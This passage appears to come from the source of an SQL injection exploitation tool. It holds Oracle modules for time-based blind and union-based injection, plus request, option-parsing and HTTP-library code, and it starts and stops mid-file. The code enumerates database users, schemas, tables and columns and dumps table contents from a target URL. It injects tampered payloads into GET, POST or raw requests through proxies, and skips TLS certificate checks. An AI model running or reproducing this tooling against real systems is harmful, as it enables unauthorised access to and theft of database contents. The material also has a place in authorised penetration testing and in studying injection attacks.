Request(headers,conf.proxies,conf.timeout,method='get') 14 | 15 | 16 | class Oracle(Databases): 17 | def __init__(self,tech): 18 | Databases.__init__(self,tech) 19 | 20 | def get_value_from_response(self,text,token): 21 | res = "" 22 | res = match_data(text,token) 23 | return res 24 | 25 | def get_value_by_blind(self, table_name, col_name, in_limit='0'): 26 | len = self.get_length(table_name, col_name, in_limit) 27 | text = "" 28 | for i in range(1, len + 1): 29 | value = self.double_search(table_name, col_name, in_limit, str(i), left_number=0, 30 | right_number=136) 31 | text = text + chr(value) 32 | logger.success(text) 33 | return text 34 | 35 | def is_delay(self,url,payload): 36 | is_delay = False 37 | req.connection(url,"") 38 | t1 = req.get_elapsed_time() 39 | req.connection(url, "") 40 | t2 = req.get_elapsed_time() 41 | req.connection(url, "") 42 | t3 = req.get_elapsed_time() 43 | t = [t1,t2,t3] 44 | deviation = stdev(t) 45 | lower_std_limit = average(t) + 7* deviation 46 | req.connection(url,payload) 47 | t4 = req.get_elapsed_time() 48 | value = (t4 >= max(0.5,lower_std_limit)) 49 | is_delay = value 50 | return is_delay 51 | 52 | 53 | def double_search(self, table_name, col_name, in_limit='0', index="", left_number=0, right_number=96): 54 | is_ture = False 55 | while True: 56 | payload, ss = self.get_payload(table_name, col_name, in_limit, index, value=str(right_number)) 57 | url = conf.url 58 | try: 59 | is_ture = self.is_delay(url,payload) 60 | except requests.exceptions.Timeout,e: 61 | break 62 | if is_ture: 63 | left_number = right_number 64 | right_number = 2 * right_number 65 | is_ture = False 66 | else: 67 | break 68 | is_ture = False 69 | while left_number < right_number: 70 | mid = int((left_number + right_number) / 2) 71 | payload, ss = self.get_payload(table_name, col_name, in_limit, index, value=str(mid)) 72 | try: 73 | url = conf.url 74 | is_ture = self.is_delay(url, payload) 75 | except Exception,e: 76 | break 77 | if is_ture: 78 | left_number = mid 79 | else: 80 | right_number = mid 81 | is_ture = False 82 | if left_number == right_number - 1: 83 | payload, ss = self.get_payload(table_name, col_name, in_limit, index, value=str(mid)) 84 | url = conf.url 85 | try: 86 | is_ture = self.is_delay(url, payload) 87 | except Exception, e: 88 | break 89 | if is_ture: 90 | mid += 1 91 | break 92 | else: 93 | break 94 | return mid 95 | 96 | def get_payload(self,table_name,col_name,i="1",index="1",value=""): # (index,vaule) is used blind 97 | cols = [] 98 | token = ":--:" 99 | for col in col_name: 100 | cols.append(col) 101 | cat_str = cols[0] 102 | boundary = SEP_CHAR + self.boundary.replace('%value',value).replace('%index',index) 103 | query = self.query.replace('t_n',table_name).replace('%s', cat_str).replace('%d', i) 104 | boundary,query = tamper(boundary,query) 105 | payload = boundary 106 | payload = payload.replace('%query',query) 107 | payload = format_data(payload) 108 | if conf.debug: 109 | logger.success(payload) 110 | return payload,token 111 | 112 | def get_length(self,table_name,col_name,i="1"): # limit i 113 | self.set_boundary(BOUNDARY.time_length) 114 | len_index = self.double_search(table_name, col_name,i, "1", left_number=0, right_number=96) 115 | self.reset_boundary() 116 | logger.info("value len is:" + str(len_index)) 117 | return len_index 118 | 119 | 120 | def get_counts(self,table_name,col_name,i="0"): 121 | col_name = ["count(*)"] 122 | counts = '' 123 | self.set_boundary(BOUNDARY.blind_count) 124 | counts = self.double_search(table_name, col_name, i, "", left_number=0, right_number=10) 125 | self.reset_boundary() 126 | logger.info("CountsEnties:" + str(counts)) 127 | return counts 128 | 129 | def get_current_user(self): 130 | table_name = 'user_tables' 131 | col_name = ["USER"] 132 | user = self.get_value_by_blind(table_name, col_name, '1') 133 | logger.info("CurrentUser:" + user) 134 | return user 135 | 136 | def get_current_db(self): 137 | table_name = 'user_tables' 138 | col_name = ["USER"] 139 | database = self.get_value_by_blind(table_name, col_name, '1') 140 | logger.info("CurrentDb:" + database) 141 | return database 142 | 143 | def get_dbs(self): 144 | table_name = 'all_USERS' 145 | col_name = ["USERNAME"] 146 | self.set_query(SQL.query) 147 | counts = self.get_counts(table_name,col_name) 148 | logger.info("all dbs counts is :%s" % counts) 149 | self.reset_query() 150 | dbs = [] 151 | for i in range(1,int(counts)+1): 152 | db = self.get_value_by_blind(table_name, col_name, str(i)) 153 | dbs.append(db) 154 | logger.info("Ent:" + db) 155 | return dbs 156 | 157 | def get_tables(self,db): 158 | table_name = 'all_tables' 159 | col_name = ["table_name"] 160 | query = SQL.query_all_tab.replace("{db}", "'{0}'").format(db) 161 | self.set_query(query) 162 | counts = self.get_counts(table_name, col_name) 163 | logger.info("all dbs counts is :%s" % counts) 164 | query = SQL.query_tab.replace("{db}", "'{0}'").format(db) 165 | self.set_query(query) 166 | tables = [] 167 | for i in range(1,int(counts)+1): 168 | table = self.get_value_by_blind(table_name, col_name, str(i)) 169 | tables.append(table) 170 | logger.info("Ent:" + table) 171 | return tables 172 | 173 | def get_columns(self,db,table): 174 | table_name = 'all_TAB_COLUMNS' 175 | col_name = ["column_name"] 176 | query = SQL.query_all_col.replace("{db}","'{0}'").replace("{table}","'{1}'").format(db,table) 177 | self.set_query(query) 178 | counts = self.get_counts(table_name, col_name) 179 | query = SQL.query_col.replace("{db}","'{0}'").replace("{table}","'{1}'").format(db,table) 180 | self.set_query(query) 181 | columns = [] 182 | for i in range(1,int(counts)+1): 183 | col = self.get_value_by_blind(table_name, col_name, str(i)) 184 | columns.append(col) 185 | logger.info("Ent:" + col) 186 | return columns 187 | 188 | def dump(self,db,table,col): 189 | table_name = '{0}.{1}'.format(db,table) 190 | col_name = ["{0}".format(col)] 191 | self.set_query(SQL.query) 192 | counts = self.get_counts(table_name, col_name) 193 | self.reset_query() 194 | data = [] 195 | for i in range(1,int(counts)+1): 196 | value = self.get_value_by_blind(table_name, col_name, str(i)) 197 | logger.info("Ent:{0}.{1}:{2}".format(table_name, col_name, value)) 198 | data.append(value) 199 | return data 200 | -------------------------------------------------------------------------------- /lib/core/dbs/oracle/oracle_U.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python 2 | # -*- coding:utf-8 -*- 3 | # author:flystart 4 | # home:www.flystart.org 5 | 6 | 7 | 8 | from lib.core.dbs.databases import Databases 9 | from lib.core.common import format_data, match_data, match_all_data,random_str,format_hex,un_hex,find_success,tamper 10 | from lib.core.request.connection import req 11 | from lib.core.data import conf,logger 12 | from lib.parse.payload import SQL,BOUNDARY,SEP_CHAR 13 | import copy 14 | import sys 15 | # req = Request(headers,conf.proxies,conf.timeout,method='get') 16 | if conf.flag: 17 | success_flag = conf.flag 18 | keys=list 19 | 20 | 21 | class Oracle(Databases): 22 | def __init__(self,tech): 23 | Databases.__init__(self,tech) 24 | self.set_actual_boundary() 25 | self.set_query(SQL.base_query) 26 | 27 | def set_actual_boundary(self): 28 | is_set = False 29 | boudary = self.boundary 30 | token = ":--:" 31 | table_name = "DUAL" 32 | col = "cast((chr(58)||chr(45)||chr(45)||chr(58))as varchar(4000))" 33 | self.set_query(SQL.query) 34 | l = ["NULL"]*25 35 | counts = 0 36 | for i in range(25): 37 | counts=i+1 38 | _ = ["NULL"] * counts 39 | for j in range(counts): 40 | pack = copy.deepcopy(_) 41 | pack[j] = col 42 | col_name = [','.join(pack)] 43 | payload,__= self.get_payload(table_name,col_name) 44 | url = conf.url 45 | res = req.connection(url,payload) 46 | text = res.text 47 | if token in text: 48 | boudary = payload.replace("chr(58)||chr(45)||chr(45)||chr(58)", "cast((chr(58)||chr(45)||chr(45)||chr(58)||%query||chr(58)||chr(45)||chr(45)||chr(58))as varchar(4000))") 49 | self.ini_boundary = boudary 50 | self.set_boundary(boudary) 51 | is_set = True 52 | break 53 | if is_set == True: 54 | break 55 | if not is_set: 56 | logger.error("Set Boundary Error!!!") 57 | logger(sys.exc_traceback) 58 | sys.exit(0) 59 | 60 | def get_value_from_response(self,text,token): 61 | res = "" 62 | res = match_data(text,token) 63 | return res 64 | 65 | def get_payload(self,table_name,col_name,i="1",index="1",value=""): # (index,vaule) is used blind 66 | cols = [] 67 | token = ":--:" 68 | for col in col_name: 69 | cols.append(col) 70 | cat_str = cols[0] 71 | boundary = SEP_CHAR + self.boundary.replace('%value',value).replace('%index',index) 72 | query = self.query.replace('t_n',table_name).replace('%s', cat_str).replace('%d', i) 73 | boundary,query = tamper(boundary,query) 74 | payload = boundary 75 | payload = payload.replace('%query',query) 76 | payload = format_data(payload) 77 | if conf.debug: 78 | logger.success(payload) 79 | return payload,token 80 | 81 | def get_counts(self,table_name,col_name): 82 | col_name = ["count(*)"] 83 | counts = '' 84 | payload, token = self.get_payload(table_name, col_name, '1') 85 | url = conf.url 86 | res = req.connection(url, payload=payload) 87 | counts = self.get_value_from_response(res.text,token) 88 | logger.info("CountsEnties:" + counts) 89 | return counts 90 | 91 | def get_current_user(self): 92 | table_name = 'user_tables' 93 | col_name = ["USER"] 94 | user = "" 95 | payload,token = self.get_payload(table_name,col_name) 96 | url = conf.url 97 | res = req.connection(url,payload=payload) 98 | user= self.get_value_from_response(res.text,token) 99 | logger.info("CurrentUser:" + user) 100 | return user 101 | 102 | 103 | def get_current_db(self): 104 | table_name = 'user_tables' 105 | col_name = ["USER"] 106 | database = "" 107 | payload,token = self.get_payload(table_name,col_name) 108 | url = conf.url 109 | res = req.connection(url,payload=payload) 110 | database = self.get_value_from_response(res.text,token) 111 | logger.info("CurrentBase:" + database) 112 | return database 113 | 114 | 115 | def get_dbs(self): 116 | table_name = 'all_USERS' 117 | col_name = ["USERNAME"] 118 | self.set_query(SQL.query) 119 | counts = self.get_counts(table_name,col_name) 120 | logger.info("all dbs counts is :%s" % counts) 121 | self.reset_query() 122 | dbs = [] 123 | for i in range(1,int(counts)+1): 124 | payload, token = self.get_payload(table_name, col_name, str(i)) 125 | url = conf.url 126 | res = req.connection(url, payload=payload) 127 | db = self.get_value_from_response(res.text, token) 128 | dbs.append(db) 129 | logger.info("Ent:" + db) 130 | return dbs 131 | 132 | def get_tables(self,db): 133 | table_name = 'all_tables' 134 | col_name = ["table_name"] 135 | query = SQL.query_all_tab.replace("{db}", "'{0}'").format(db) 136 | self.set_query(query) 137 | counts = self.get_counts(table_name, col_name) 138 | logger.info("all dbs counts is :%s" % counts) 139 | query = SQL.query_tab.replace("{db}", "'{0}'").format(db) 140 | self.set_query(query) 141 | tables = [] 142 | for i in range(1,int(counts)+1): 143 | payload, token = self.get_payload(table_name, col_name, str(i)) 144 | url = conf.url 145 | res = req.connection(url, payload=payload) 146 | table = self.get_value_from_response(res.text, token) 147 | tables.append(table) 148 | logger.info("Ent:" + table) 149 | return tables 150 | 151 | def get_columns(self,db,table): 152 | table_name = 'all_TAB_COLUMNS' 153 | col_name = ["column_name"] 154 | query = SQL.query_all_col.replace("{db}","'{0}'").replace("{table}","'{1}'").format(db,table) 155 | self.set_query(query) 156 | counts = self.get_counts(table_name, col_name) 157 | query = SQL.query_col.replace("{db}","'{0}'").replace("{table}","'{1}'").format(db,table) 158 | self.set_query(query) 159 | columns = [] 160 | for i in range(1,int(counts)+1): 161 | payload, token = self.get_payload(table_name, col_name, str(i)) 162 | url = conf.url 163 | res = req.connection(url, payload=payload) 164 | col = self.get_value_from_response(res.text, token) 165 | columns.append(col) 166 | logger.info("Ent:" + col) 167 | return columns 168 | 169 | def dump(self,db,table,col): 170 | table_name = '{0}.{1}'.format(db,table) 171 | col_name = ["{0}".format(col)] 172 | self.set_query(SQL.query) 173 | counts = self.get_counts(table_name, col_name) 174 | self.reset_query() 175 | data = [] 176 | for i in range(1,int(counts)+1): 177 | payload, token = self.get_payload(table_name, col_name, str(i)) 178 | url = conf.url 179 | res = req.connection(url, payload=payload) 180 | value = self.get_value_from_response(res.text, token) 181 | logger.info("Ent:{0}.{1}:{2}".format(table_name,col_name,value)) 182 | data.append(value) 183 | return data 184 | -------------------------------------------------------------------------------- /lib/core/defaults.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python 2 | # -*- coding:utf-8 -*- 3 | # author:flystart 4 | # home:www.flystart.org 5 | 6 | 7 | from lib.core.datatype import AttribDict 8 | from lib.core.data import conf 9 | _defaults = { 10 | "csvDel": ',', 11 | "verbose": 1, 12 | "delay_time": 0, 13 | "timeout": 7, 14 | "timesec": 5, 15 | "retries": 3, 16 | "dumpFormat": "CSV", 17 | "tech": "E", 18 | } 19 | 20 | config = { 21 | "url": "", 22 | "p":"id", 23 | "tech":'E', 24 | "dbms":'', 25 | "db":'', 26 | "dbs":[''], 27 | "table":[], 28 | "columns":[], 29 | "getCurrentUser": False, 30 | "getCurrentDb":False, 31 | "getDbs":False, 32 | "getTables":False, 33 | "getColumns":False, 34 | "dumpTable":False, 35 | "proxies":"", 36 | "method":"", 37 | "cookie":"", 38 | "timeout":7, 39 | "delay_time":0, 40 | "time_sec":5, 41 | "data":"", 42 | "tamper":"test", 43 | "flag":"", 44 | "order_sec":"", 45 | "out_log":"log.txt", 46 | "raw":"" 47 | } 48 | defaults = AttribDict(_defaults) 49 | conf.update(config) 50 | -------------------------------------------------------------------------------- /lib/core/enums.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python 2 | # -*- coding:utf-8 -*- 3 | # author:flystart 4 | # home:www.flystart.org 5 | 6 | 7 | class CUSTOM_LOGGING: 8 | SYSINFO = 9 9 | SUCCESS = 8 10 | ERROR = 7 11 | WARNING = 6 12 | 13 | 14 | 15 | -------------------------------------------------------------------------------- /lib/core/log.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python 2 | # -*- coding:utf-8 -*- 3 | # author:flystart 4 | # home:www.flystart.org 5 | 6 | 7 | import logging 8 | import sys 9 | from lib.core.enums import CUSTOM_LOGGING 10 | 11 | 12 | OUT_FILE = r"./output/files/log.txt" 13 | logging.addLevelName(CUSTOM_LOGGING.SYSINFO, "*") 14 | logging.addLevelName(CUSTOM_LOGGING.SUCCESS, "+") 15 | logging.addLevelName(CUSTOM_LOGGING.ERROR, "-") 16 | logging.addLevelName(CUSTOM_LOGGING.WARNING, "!") 17 | 18 | LOGGER = logging.getLogger("SqlEXPLogger") 19 | 20 | LOGGER_HANDLER = None 21 | LOGGER_FILEHANDLER = logging.FileHandler(filename=OUT_FILE,encoding='utf-8') 22 | try: 23 | from thirdparty.ansistrm.ansistrm import ColorizingStreamHandler 24 | try: 25 | LOGGER_HANDLER = ColorizingStreamHandler(sys.stdout) 26 | LOGGER_HANDLER.level_map[logging.getLevelName("*")] = (None, "cyan", False) 27 | LOGGER_HANDLER.level_map[logging.getLevelName("+")] = (None, "green", False) 28 | LOGGER_HANDLER.level_map[logging.getLevelName("-")] = (None, "red", False) 29 | LOGGER_HANDLER.level_map[logging.getLevelName("!")] = (None, "yellow", False) 30 | except Exception: 31 | LOGGER_HANDLER = logging.StreamHandler(sys.stdout) 32 | except ImportError: 33 | LOGGER_HANDLER = logging.StreamHandler(sys.stdout) 34 | 35 | 36 | FORMATTER = logging.Formatter("\r[%(levelname)s] %(message)s", "%H:%M:%S") 37 | 38 | LOGGER_HANDLER.setFormatter(FORMATTER) 39 | 40 | LOGGER.addHandler(LOGGER_HANDLER) 41 | LOGGER.addHandler(LOGGER_FILEHANDLER) 42 | LOGGER.setLevel(CUSTOM_LOGGING.WARNING) 43 | 44 | 45 | class FLY_LOGGER: 46 | @staticmethod 47 | def success(msg): 48 | return LOGGER.log(CUSTOM_LOGGING.SUCCESS, msg) 49 | 50 | @staticmethod 51 | def info(msg): 52 | return LOGGER.log(CUSTOM_LOGGING.SYSINFO, msg) 53 | 54 | @staticmethod 55 | def warning(msg): 56 | return LOGGER.log(CUSTOM_LOGGING.WARNING, msg) 57 | 58 | @staticmethod 59 | def error(msg): 60 | return LOGGER.log(CUSTOM_LOGGING.ERROR, msg) 61 | -------------------------------------------------------------------------------- /lib/core/option.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python 2 | # -*- coding:utf-8 -*- 3 | # author:flystart 4 | # home:www.flystart.org 5 | import sys 6 | import re 7 | from lib.core.data import conf,logger 8 | 9 | 10 | def check_tech(tech): 11 | TECH_STR="EUBT" 12 | t = tech.upper() 13 | if t not in TECH_STR: 14 | logger.error("--tech param Error!!! value is one of {0}".format(list(TECH_STR))) 15 | sys.exit(1) 16 | return t 17 | 18 | def parse_options(args): 19 | if not (args.url or args.parameter): 20 | logger.warning('Please input url and inject paramter!!!') 21 | sys.exit(1) 22 | if not (args.tech and args.dbms): 23 | logger.warning('Please set option --dbms,--tech') 24 | sys.exit(1) 25 | if args.db and (not (args.getTables or args.getColumns or args.dumpTable)): 26 | logger.warning('Dnt know what...Please options [--tables|--dump]') 27 | sys.exit(1) 28 | if args.db and args.tbl and (not (args.getColumns or args.dumpTable)): 29 | logger.warning('Dnt know what...Please options [--columns|--dump]') 30 | sys.exit(1) 31 | if args.db and args.tbl and args.col and not args.dumpTable: 32 | logger.warning('Dnt know what...Please options [--dump]') 33 | sys.exit(1) 34 | if (args.dumpTable or args.dumpTable) and (not args.db): 35 | logger.warning('Please input will dump db [-D test]') 36 | sys.exit(1) 37 | if args.dumpTable and args.col and (not args.tbl): 38 | logger.warning('Please input will dump table [-T test]') 39 | sys.exit(1) 40 | 41 | 42 | def init_options(args): 43 | parse_options(args) 44 | conf.url = args.url 45 | conf.raw = args.raw_req 46 | conf.p = args.parameter 47 | conf.request_method = args.method 48 | conf.tech = check_tech(args.tech) 49 | conf.dbms = args.dbms 50 | conf.db = args.db 51 | conf.dbs = [c.strip() for c in args.db.split(',')] if args.db else args.db 52 | conf.table = [c.strip() for c in args.tbl.split(',')] if args.tbl else args.tbl 53 | conf.columns = [c.strip() for c in args.col.split(',')] if args.col else args.col 54 | conf.dumpTable = args.dumpTable 55 | conf.getDbs = args.getDbs 56 | conf.getTables = args.getTables 57 | conf.getColumns = args.getColumns 58 | conf.getCurrentDb = args.getCurrentDb 59 | conf.getCurrentUser = args.getCurrentUser 60 | conf.method = args.method 61 | conf.delay_time = args.delay_time 62 | conf.flag = args.flag 63 | conf.order_sec=args.order_sec 64 | conf.time_sec = args.time_sec 65 | conf.tamper = args.tamper 66 | conf.timeout = args.timeout 67 | conf.debug = args.debug 68 | p = args.proxy 69 | if p: 70 | pattern = "(http|socks)://([0-9]{1,3}\.){3}[0-9]{1,3}:[0-9]{1,5}" 71 | match = re.findall(pattern,p) 72 | if match: 73 | conf.proxies = {match[0][0]:p.split('/')[-1]} 74 | else: 75 | logger.error("PROXY Format not corrent! Please input ex:[http://ip:port]") 76 | sys.exit(0) 77 | conf.data = args.data 78 | if args.cookie: 79 | conf.cookie = args.cookie 80 | return 81 | -------------------------------------------------------------------------------- /lib/core/request/__init__.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python 2 | # -*- coding:utf-8 -*- 3 | # author:flystart 4 | # home:www.flystart.org -------------------------------------------------------------------------------- /lib/core/request/connection.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python 2 | # -*- coding:utf-8 -*- 3 | # author:flystart 4 | # home:www.flystart.org 5 | 6 | import sys 7 | import traceback 8 | import hackhttp 9 | import urlparse 10 | import time 11 | import chardet 12 | # from requests.adapters import HTTPAdapter 13 | from lib.core.datatype import AttribDict 14 | from lib.core.data import conf,logger 15 | from lib.core.common import q_str_to_dict,dict_to_q_str,format_hex,format_unicode,url_encode,get_file_contents 16 | # requests.adapters.DEFAULT_RETRIES = 5 17 | fly_req = hackhttp.hackhttp() 18 | # fly_req.mount('http://', HTTPAdapter(max_retries=3)) 19 | # fly_req.mount('https://', HTTPAdapter(max_retries=3)) 20 | 21 | 22 | class Request: 23 | def __init__(self, headers, proxies={},timeout=3,method = 'get'): 24 | if proxies: 25 | host,port =proxies.values()[0].split(":") 26 | proxies = (host,int(port)) 27 | if conf.raw: 28 | self.raw_request =get_file_contents(conf.raw) 29 | self.headers = headers 30 | self.proxies = proxies 31 | self.timeout = timeout 32 | self.method = method 33 | self.elapsed_time = 0 34 | fly_req.headers = self.headers 35 | fly_req.proxies = self.proxies 36 | 37 | def set_headers(self,headers): 38 | self.headers = headers 39 | 40 | def set_proxies(self,porxies): 41 | self.proxies = porxies 42 | 43 | def set_timeout(self,timeout): 44 | self.timeout = timeout 45 | 46 | def set_method(self,method): 47 | self.method = method 48 | 49 | def get_method(self): 50 | return self.method 51 | 52 | def get_proxies(self): 53 | return self.proxies 54 | 55 | def generate_params(self,url,payload): 56 | params = "" 57 | data = conf.data 58 | inject_param = conf.p 59 | if data: 60 | data_dics = q_str_to_dict(data) 61 | if inject_param in data_dics.keys(): 62 | value = data_dics.get(inject_param) 63 | value = value + payload 64 | data_dics[inject_param] = value 65 | data = data_dics 66 | else: 67 | data = data_dics 68 | parse_res = urlparse.urlparse(url) 69 | query = parse_res.query 70 | params_dict = q_str_to_dict(query) 71 | if inject_param in params_dict.keys(): 72 | value = params_dict.get(inject_param) 73 | value = value + payload 74 | params_dict[inject_param] = value 75 | query_str = dict_to_q_str(params_dict) 76 | li = list(parse_res) 77 | index = [i for i, x in enumerate(li) if x == parse_res.query][0] 78 | li[index] = query_str 79 | url =urlparse.urlunparse(tuple(li)) #(1,2)=> url_string 80 | url = urlparse.unquote(url) 81 | return url,params,data 82 | 83 | def get_elapsed_time(self): 84 | return self.elapsed_time 85 | 86 | def send_raw_request(self,url,data="",payload=""): 87 | try: 88 | raw_request = data.replace("$*$", payload) 89 | status_code, head, content, redirect, log = fly_req.http(url, raw=raw_request,timeout=self.timeout, header=self.headers, 90 | proxy=self.proxies) 91 | except Exception as e: 92 | logger.error(e.message) 93 | logger.error(traceback.format_exc()) 94 | sys.exit(1) 95 | return status_code, head, content, redirect, log 96 | 97 | 98 | def connection(self,url,payload = ""): 99 | time.sleep(conf.delay_time) 100 | ret = AttribDict() 101 | ret.code = 0 102 | ret.text = '' 103 | ret.success = False 104 | if conf.raw: 105 | raw_data = self.raw_request 106 | start_time = time.time() 107 | status_code, head, content, redirect, log = self.send_raw_request(url,raw_data,payload) 108 | end_time = time.time() 109 | self.elapsed_time = end_time-start_time 110 | ret.code = status_code 111 | con = content 112 | con = format_unicode(con) 113 | ret.text = get_text_value(con) 114 | ret.success = True 115 | else: 116 | if self.method == 'get': 117 | payload = url_encode(payload) 118 | pass 119 | try: 120 | url, params, data = self.generate_params(url, payload) 121 | if data: 122 | data = dict_to_q_str(data) 123 | if self.method == 'get': 124 | start_time = time.time() 125 | status_code, head, content, redirect, log= fly_req.http(url,timeout = self.timeout,header =self.headers,proxy=self.proxies) 126 | end_time = time.time() 127 | self.elapsed_time = end_time-start_time 128 | ret.code = status_code 129 | con =content 130 | con= format_unicode(con) 131 | ret.text = get_text_value(con) 132 | ret.success = True 133 | 134 | if self.method == 'post': 135 | start_time = time.time() 136 | status_code, head, content, redirect, log = fly_req.http(url+'?'+params,data=data, timeout=self.timeout,header =self.headers,proxy=self.proxies) 137 | end_time = time.time() 138 | self.elapsed_time = end_time-start_time 139 | ret.code = status_code 140 | con =content 141 | con= format_unicode(con) 142 | ret.text = get_text_value(con) 143 | ret.success = True 144 | except Exception as e: 145 | logger.warning(e.message) 146 | sys.exit(0) 147 | return ret 148 | 149 | 150 | def get_text_value(text): 151 | if conf.order_sec: 152 | url = conf.order_sec 153 | res = fly_req.get(url) 154 | text = res.content 155 | return text 156 | 157 | 158 | def get_headers(): 159 | headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0', 160 | 'Connection': 'close'} 161 | if conf.cookie: 162 | headers['cookie'] = conf.cookie 163 | return headers 164 | 165 | 166 | def smart_decoder(raw_content, default_encoding_list=("utf-8", "gb18030")): 167 | if isinstance(raw_content, unicode): 168 | return raw_content 169 | 170 | encoding = chardet.detect(raw_content).get("encoding", "utf-8") 171 | 172 | try: 173 | return raw_content.decode(encoding) 174 | except UnicodeEncodeError as e: 175 | for encoding in default_encoding_list: 176 | try: 177 | return raw_content.decode(encoding) 178 | except UnicodeEncodeError as e: 179 | pass 180 | raise e 181 | 182 | try: 183 | req = Request(get_headers(),conf.proxies,conf.timeout,conf.method) 184 | except Exception as e: 185 | logger.error(e.message) 186 | logger.error(traceback.format_exc()) 187 | -------------------------------------------------------------------------------- /lib/core/request/hackhttp.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | import Queue 4 | import urlparse 5 | import httplib 6 | import ssl 7 | import zlib 8 | import gzip 9 | import StringIO 10 | import re 11 | import threading 12 | import mimetools 13 | import Cookie 14 | import cookielib 15 | import copy 16 | import time 17 | import string 18 | 19 | 20 | class httpheader(mimetools.Message): 21 | def __init__(self, fp, seekable=1): 22 | mimetools.Message.__init__(self, fp, seekable) 23 | 24 | def isheader(self, line): 25 | i = line.find(':') 26 | if i > -1: 27 | return line[:i] 28 | return None 29 | 30 | 31 | class Compatibleheader(str): 32 | def setdict(self, d): 33 | self.dict = d 34 | 35 | def __getitem__(self, key): 36 | return self.dict.__getitem__(key) 37 | 38 | def get(self, key, d=None): 39 | return self.dict.get(key, d) 40 | 41 | 42 | class MorselHook(Cookie.Morsel): 43 | """ 44 | Support ":" in Cookie key. 45 | 46 | >>> import inspect 47 | >>> (inspect.getargspec(MorselHook.set)[3])[0] 48 | "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!#$%&'*+-.^_`|~:" 49 | >>> cookie = Cookie.SimpleCookie() 50 | >>> cookie.load("key:key=abc; key=val") 51 | >>> print cookie 52 | Set-Cookie: key=val; 53 | Set-Cookie: key:key=abc; 54 | """ 55 | def set( 56 | self, key, val, coded_val, 57 | LegalChars=Cookie._LegalChars + ':', 58 | idmap=string._idmap, translate=string.translate): 59 | return super(MorselHook, self).set( 60 | key, val, coded_val, LegalChars, idmap, translate) 61 | 62 | 63 | class httpconpool(): 64 | # 创建的连接总数, key 为 conhash 65 | connected = {} 66 | # 存放空闲连接的队列, key 为 conhash 67 | connectpool = {} 68 | # 存放 cookie 的池子,key 为 host 69 | maxconnectpool = 20 70 | lock = threading.Lock() 71 | 72 | def __init__(self, maxconnectpool=20, timeout=10): 73 | self.maxconnectpool = maxconnectpool 74 | self.timeout = timeout 75 | self.protocol = [] 76 | self._get_protocol() 77 | 78 | def _get_protocol(self): 79 | if not self.protocol: 80 | ps = ( 81 | 'PROTOCOL_SSLv3', 'PROTOCOL_SSLv23', 'PROTOCOL_TLSv1', 82 | 'PROTOCOL_SSLv2', 'PROTOCOL_TLSv1_1', 'PROTOCOL_TLSv1_2') 83 | for p in ps: 84 | pa = getattr(ssl, p, None) 85 | if pa: 86 | self.protocol.append(pa) 87 | 88 | def _make_connect(self, https, host, port, proxy=None): 89 | if not https: 90 | if proxy: 91 | con = httplib.HTTPConnection( 92 | proxy[0], proxy[1], timeout=self.timeout) 93 | con.set_tunnel(host, port) 94 | else: 95 | con = httplib.HTTPConnection(host, port, timeout=self.timeout) 96 | # con .set_debuglevel(2) #? 97 | con.connect() 98 | return con 99 | for p in self.protocol: 100 | context = ssl._create_unverified_context(p) 101 | try: 102 | if proxy: 103 | 104 | con = httplib.HTTPSConnection( 105 | proxy[0], proxy[1], context=context, 106 | timeout=self.timeout) 107 | con.set_tunnel(host, port) 108 | else: 109 | con = httplib.HTTPSConnection( 110 | host, port, context=context, timeout=self.timeout) 111 | con.connect() 112 | return con 113 | except ssl.SSLError, e: 114 | # print e,protocol 115 | pass 116 | raise Exception('connect err') 117 | 118 | def _get_connect(self, url, proxy): 119 | https, host, port, path = url 120 | conhash = '%d_%s_%d' % (https, host, port) 121 | self.lock.acquire() 122 | try: 123 | count = self.connected.get(conhash, 0) 124 | if count == 0: 125 | self.connected[conhash] = 0 126 | if not self.connectpool.get(conhash, None): 127 | self.connectpool[conhash] = Queue.Queue() 128 | if count <= self.maxconnectpool: 129 | if self.connectpool[conhash].qsize() == 0: 130 | con = self._make_connect(https, host, port, proxy) 131 | self.connected[conhash] += 1 132 | self.connectpool[conhash].put(con) 133 | except: 134 | raise 135 | finally: 136 | self.lock.release() 137 | return self.connectpool[conhash].get() 138 | 139 | def _put_connect(self, url, con): 140 | https, host, port, path = url 141 | conhash = '%d_%s_%d' % (https, host, port) 142 | self.connectpool[conhash].put(con) 143 | 144 | def _release_connect(self, url): 145 | https, host, port, path = url 146 | conhash = '%d_%s_%d' % (https, host, port) 147 | self.lock.acquire() 148 | self.connected[conhash] -= 1 149 | self.lock.release() 150 | 151 | 152 | class hackhttp(): 153 | 154 | def __init__(self, conpool=None, cookie_str=None, throw_exception=True): 155 | """conpool: 创建的连接池最大数量,类型为 int,默认为 10 156 | 157 | cookie_str: 用户自己定义的 Cookie,类型为 String 158 | 159 | throw_exception: 是否抛出遇到的异常,类型为 bool,默认为 True 160 | """ 161 | self.throw_exception = throw_exception 162 | if conpool is None: 163 | self.conpool = httpconpool(10) 164 | else: 165 | self.conpool = conpool 166 | Cookie.Morsel = MorselHook 167 | self.initcookie = Cookie.SimpleCookie() 168 | if cookie_str: 169 | if not cookie_str.endswith(';'): 170 | cookie_str += ";" 171 | for cookiepart in cookie_str.split(";"): 172 | if cookiepart.strip() != "": 173 | cookiekey, cookievalue = cookiepart.split("=", 1) 174 | self.initcookie[cookiekey.strip()] = cookievalue.strip() 175 | self.cookiepool = {} 176 | 177 | def _get_urlinfo(self, url): 178 | p = urlparse.urlparse(url) 179 | scheme = p.scheme.lower() 180 | if scheme != 'http' and scheme != 'https': 181 | raise Exception('http/https only') 182 | host = p.hostname 183 | port = p.port 184 | https = True if scheme == "https" else False 185 | if not port: 186 | port = 443 if https else 80 187 | path = '' 188 | if p.path: 189 | path = p.path 190 | if p.query: 191 | path = path + '?' + p.query 192 | return https, host, port, path 193 | 194 | def _decode_html(self, head, body): 195 | # 这里处理编码有问题,所以暂不处理 196 | # return body 197 | if 'text' not in head: 198 | return body 199 | charset = None 200 | r = re.search(r'charset=(\S+)', head, 